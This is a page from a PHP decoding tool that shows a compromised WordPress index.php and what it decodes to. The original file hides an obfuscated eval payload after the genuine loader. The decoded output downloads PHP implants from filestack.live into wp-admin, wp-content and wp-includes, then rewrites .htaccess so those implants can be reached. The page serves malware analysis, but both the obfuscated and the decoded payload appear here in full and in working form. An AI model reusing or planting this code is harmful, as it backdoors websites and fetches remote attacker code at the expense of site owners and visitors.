Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * Loads the WordPress environment and template. * * @package WordPress ..

Decoded Output download

 error_reporting(0); $p_olux = str_replace("../", "", "./../../../wp-admin/Zxolt4NmTc8.php"); $p_mailer = str_replace("../", "", "./../../../wp-content/zRluLHSoNit.php"); $p_xleet = str_replace("../", "", "./../../../wp-includes/rjzTOcuAF87.php"); $root = str_replace("../", "", "./../../../"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); }  } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); }  } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "ArUHCRhbE3N", $mailer); save($p_mailer, $mailer); }  } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); }

Did this file decode correctly?

Original Code

<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

	$wp_did_header = true;

	// Load the WordPress library.
	require_once __DIR__ . '/wp-load.php';

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once ABSPATH . WPINC . '/template-loader.php';

}
ob_start();
?>
<?php $nLiZX = 'ba'.'se64'.'_d'.'eco'.'de'; $fOMVs = 's'.'tr'.'_rot1'.'3'; $PsolR = 'str'.'rev'; $kdIBS = 'gz'.'inflate'; error_reporting(0); /***  aqedcjjvmnlo tgskzwl e xwz       */ ini_set('log_errors', 0); ini_set('error_log', NULL); eval($kdIBS($PsolR($fOMVs($nLiZX('f/xBI0Yt1PsP7XfTplDlVqcl/it8HxpqEfVJBmRFx54mQ1mhx4UBLo66uAvOD4dk1Mmfz4zO59+d87D8ENJRYD2n6cfBrgap9bMSa7mR/5sX1f7Wxr8hX5b3WMDFOOfSabV9V3u6JhV5okIhJrBgkW4gbSTBtE1G08vHvtiFiNkUK5OQ0JgRwN9igHZBDpkSWSeLTCiI0fzdF+nEIHTf9kxmzhCIImYxWjdKR8GyElNHQUkrOJynqWBh+CWYsBu5bgH5vAUbwfVjfIInJC1Y8pxXhw7UwuMW5QeZHocMoLPv6qA900GWr+Rr+dIfWFH/t9vhdzgKHBSvVReEsbta2N4UQeyJt2nrnj2G6iD3cURpdztd6Ubzyjv6+++Erl6raPeO9hpNqv8MuiBeethgNXm0QaNxIunYepa033ENUliY27bW+ixdo6rmlMbZcbb70LMqb5Tzqu+CpqKtERdrX6eDTK6VoYyt5n4ozQeflxa2K5h5uCM17Lh67tvBdthuNuwN9tuNGrZ11HqIaa2M/iTM/6IM5mkllkLTCaor06z2XMEMMqdyMVcxkrnrjeKlIcqsoUlljQIVDyMfXDDtfjhEyr0yX6u30o1EReFLZ0adwqGGKNIHBQRkmjbSiXbDJFSsMxobUQGpTvWT36xBA5XjVuteKynrJo8XnOLR4IVtVBA7GwigpOWq64yDN7504coy15eX/eBoA7KdgxyTgv+jBtXqmgrMRr1L5ISjRUfBIxbwjOrjPhH7pF9TQrS6T89XPBBktR8pZl8FtWTLjmLh/GY+dxl8Dma2Oc3jg8mCCjOuueRpPOCzex2AXFIp0ev/uT+OH8XTc87DnxBe7O6H8Dd9zBO+hDObg63PEwYaN6nP70am97oLvgnEDr8cH4ZpMxdtIoHUfwWDHvU/uaMHSHk4xlXMZq5fU+mY04i93EBiis9vGoK6L7Gda+gI4/QA32b8UoyLEJENXYxaBXjXNClSsxni2XAVgpJvxEUqPASZC5CUcfdo77wxQ/A1+/6LZohSJRTiuYuzGCbbIDsxuIzx0xSfq+synDKSIUYXpgnGGtEU0yrZmeoB12XWElh7+tTjrhh4snr6sy03+JoHSZaac7rCIFjpM5B04LYpJBbLQ30YYkz04soRnENdCVdgBmlpbOb7bJ68iIiCVAJ5P2q/5cdjfW3WvHhjaOstFcvarTGp2IkFOcoqdV0+EnlSaVeLGyv9EFPiYg1IjQ=='))))); ?>

Function Calls

strrev 1
ini_set 2
ob_start 1
gzinflate 1
str_rot13 1
base64_decode 1
error_reporting 1

Variables

$PsolR strrev
$fOMVs str_rot13
$kdIBS gzinflate
$nLiZX base64_decode

Stats

MD5 e12f4b4dccf05213573eb55aed9a4635
Eval Count 1
Decode Time 52 ms